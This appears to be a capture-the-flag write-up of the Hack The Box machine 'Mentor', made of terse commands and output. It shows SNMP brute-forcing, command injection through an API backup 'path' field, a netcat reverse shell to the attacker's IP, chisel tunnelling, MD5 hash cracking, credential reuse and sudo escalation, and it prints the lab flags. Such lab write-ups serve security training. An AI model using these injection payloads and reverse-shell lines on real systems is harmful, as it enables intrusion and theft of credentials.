0xc0rvu5.github.io

View on GitHub

Add the relevant box name to the /etc/hosts file:

echo "10.10.11.193	mentor.htb" | sudo tee -a /etc/hosts
10.10.11.193	mentorquotes.htb
sudo (which autorecon) mentorquotes.htb
feroxbuster -u http://mentorquotes.htb -n -t 5 -L 5 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o ferox_mentorquotes_out.txt
wfuzz -c -f mentorquotes_wfuzz_out.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hc 302,400 -H "Host: FUZZ.mentorquotes.htb" -t 100 10.10.11.193
api
10.10.11.193	mentorquotes.htb api.mentorquotes.htb

image

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 10.10.11.193

image

use auxiliary/scanner/snmp/snmp_login
setg rhosts 10.10.11.193
run

image

image

snmpwalk -v1 -c public 10.10.11.193
//or//
snmpwalk -v2c -c public 10.10.11.193
wget https://raw.githubusercontent.com/SECFORCE/SNMP-Brute/master/snmpbrute.py
chmod 700 snmpbrute.py
python snmpbrute.py -t 10.10.11.193 
Identified Community strings
	0) 10.10.11.193    internal (v2c)(RO)
	1) 10.10.11.193    public (v1)(RO)
	2) 10.10.11.193    public (v2c)(RO)
	3) 10.10.11.193    public (v1)(RO)
	4) 10.10.11.193    public (v2c)(RO)

image

snmpwalk -v2c -c internal 10.10.11.193
HOST-RESOURCES-MIB::hrSWRunParameters.2653 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"

image

feroxbuster -u http://api.mentorquotes.htb -n -t 5 -L 5 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o ferox_api_mentorquotes_out.txt
200      GET       31l       62w      969c http://api.mentorquotes.htb/docs
307      GET        0l        0w        0c http://api.mentorquotes.htb/users => http://api.mentorquotes.htb/users/
307      GET        0l        0w        0c http://api.mentorquotes.htb/admin => http://api.mentorquotes.htb/admin/
307      GET        0l        0w        0c http://api.mentorquotes.htb/quotes => http://api.mentorquotes.htb/quotes/
200      GET       28l       52w      772c http://api.mentorquotes.htb/redoc
403      GET        9l       28w      285c http://api.mentorquotes.htb/server-status

image

307      GET        0l        0w        0c http://api.mentorquotes.htb/admin => http://api.mentorquotes.htb/admin/
405      GET        1l        3w       31c http://api.mentorquotes.htb/admin/backup

image

image

image

"/usr/local/bin/login.py kj23sadkj123as0-d213"
POST /auth/login HTTP/1.1
Host: api.mentorquotes.htb
Content-Length: 104
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json
Sec-GPC: 1
Accept-Language: en-US,en;q=0.8
Origin: http://api.mentorquotes.htb
Referer: http://api.mentorquotes.htb/docs
Accept-Encoding: gzip, deflate
Connection: close

{
  "email": "james@mentorquotes.htb",
  "username": "james",
  "password": "kj23sadkj123as0-d213"
}


image

"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"

Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0

image

POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
accept: application/json
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Sec-GPC: 1
Accept-Language: en-US,en;q=0.8
Referer: http://api.mentorquotes.htb/docs
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 109

{
	"body": "corvus",
	"path": "/etc/passwd;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 4444 >/tmp/f;"
}


nc -lvnp 4444
cd
cat user.txt

ecb1b440a47760320d882d2c38ec2355

image

image

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64.gz chisel
chmod 700 chisel
python -m http.server
wget http://10.10.16.3:8000/chisel
chmod +x chisel
sudo ./chisel server --port 10015 --reverse
./chisel client 10.10.16.3:10015 10.10.11.193:5432:172.22.0.1:5432

image

psql -h 127.0.0.1 -U "postgres" -p 5432
Password: postgres
\list

\list - is a command in the PostgreSQL command-line client (psql) that lists all of the databases on the current PostgreSQL server. It will also show the owner of the database and the encoding used by the database.

\c mentorquotes_db

\c database - is a command in psql that allows you to connect to a specific database on the current PostgreSQL server. The database argument specifies the name of the database that you want to connect to. Once you are connected to a database, all subsequent commands will be executed on that database.

\d

\d - is a command in psql that shows the list of tables, views, and sequences in the currently connected database. Additionally, you can use \d table_name to display the columns and their types, constraints and triggers of a specific table.

select * from users;

image

7ccdcd8c05b59add9c198d492b36a503
53f22d0dfa10dce7e29cd31f4f953fd8

image

MD5 will be Hash-Mode number 0 for hashcat.

hashcat -a 0 -m 0 hashes rockyou.txt
53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani

image

Nice!

ssh svc@mentorquotes.htb
Password: 123meunomeeivani

image

cat -n /etc/snmp/snmp.conf

    92	createUser bootstrap MD5 SuperSecurePassword123__ DES
    93	rouser bootstrap priv
su - james
Password: SuperSecurePassword123__
sudo -l
[sudo] password for james: 
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on mentor:
    (ALL) /bin/sh
sudo /bin/sh
cat /home/svc/user.txt

ecb1b440a47760320d882d2c38ec2355

cat /root/root.txt

b239ef0f0b10a3cf63562800a6d95f77

image

#hacking